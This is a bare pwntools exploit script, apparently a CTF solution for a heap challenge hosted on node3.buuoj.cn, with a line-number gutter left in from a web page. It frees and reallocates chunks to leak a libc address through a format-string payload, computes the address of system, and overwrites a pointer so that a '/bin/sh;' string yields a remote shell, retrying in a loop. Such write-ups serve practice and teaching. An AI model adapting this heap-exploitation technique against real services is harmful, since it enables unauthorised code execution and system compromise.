1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
from pwn import *
context.log_level = 'debug' libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size,content): sh.sendlineafter('3.quit','create ') sh.sendlineafter('size:',str(size + 1)) sh.sendafter('str:',content + '\x00')
def delete(index): sh.sendlineafter('3.quit','delete ') sh.sendlineafter('id:',str(index)) sh.sendlineafter('Are you sure?:','yes')
def exploit(): add(0x10,'a'*0x10) add(0x10,'b'*0x10) delete(1) delete(0) add(0x20,'%22$p'.ljust(0x18,'b') + p16(0x59D0)) delete(1) sh.recvuntil('0x') libc_base = int(sh.recvuntil('b',drop = True),16) - libc.symbols['_IO_2_1_stdout_'] system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) add(0x10,'a'*0x10) add(0x10,'b'*0x10) delete(2) delete(1) add(0x20,'/bin/sh;'.ljust(0x18,'a') + p64(system_addr)) delete(2)
while True: try: global sh sh = remote('node3.buuoj.cn',28400) exploit() sh.interactive() except: sh.close() print 'trying...'
sh.interactive()
|